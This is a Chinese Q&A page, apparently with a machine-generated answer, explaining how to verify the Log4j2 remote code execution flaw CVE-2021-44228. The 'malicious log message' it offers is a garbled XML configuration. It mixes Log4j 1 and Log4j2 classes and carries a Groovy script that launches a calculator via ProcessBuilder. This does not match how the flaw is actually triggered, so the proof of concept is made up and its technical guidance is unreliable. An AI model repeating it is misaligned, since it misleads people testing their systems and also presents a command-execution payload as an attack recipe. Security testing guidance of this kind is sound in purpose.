Apache Log4j2 Remote Code Execution (CVE-2021-44228)如何验证
时间: 2024-01-10 22:02:59 浏览: 138
Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)可以通过以下步骤进行验证:
1. 构造一个恶意的日志信息,包含以下内容:
```
<appender name="RCE" class="org.apache.log4j.ConsoleAppender">
<param name="Target" value="System.out"/>
<param name="immediateFlush" value="true"/>
<layout class="org.apache.logging.log4j.core.layout.PatternLayout">
<param name="ConversionPattern" value="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %-5level %logger{36}:%line - %msg%n"/>
</layout>
<filter class="org.apache.logging.log4j.core.filter.AbstractFilterable">
<filter class="org.apache.logging.log4j.core.filter.GroovyFilter">
<param name="script" value="new java.lang.ProcessBuilder(['calc']).start()"/>
</filter>
</filter>
</appender>
<root level="info">
<appender-ref ref="RCE"/>
</root>
```
2. 将恶意日志信息发送到漏洞受影响的 Log4j2 服务端,例如通过网络或者文件系统等方式。
3. 如果服务端受到影响,则会执行恶意脚本,例如在 Windows 上弹出计算器。
请注意,验证漏洞时需要遵守法律法规和道德准则,不得对未授权的系统进行测试。
阅读全文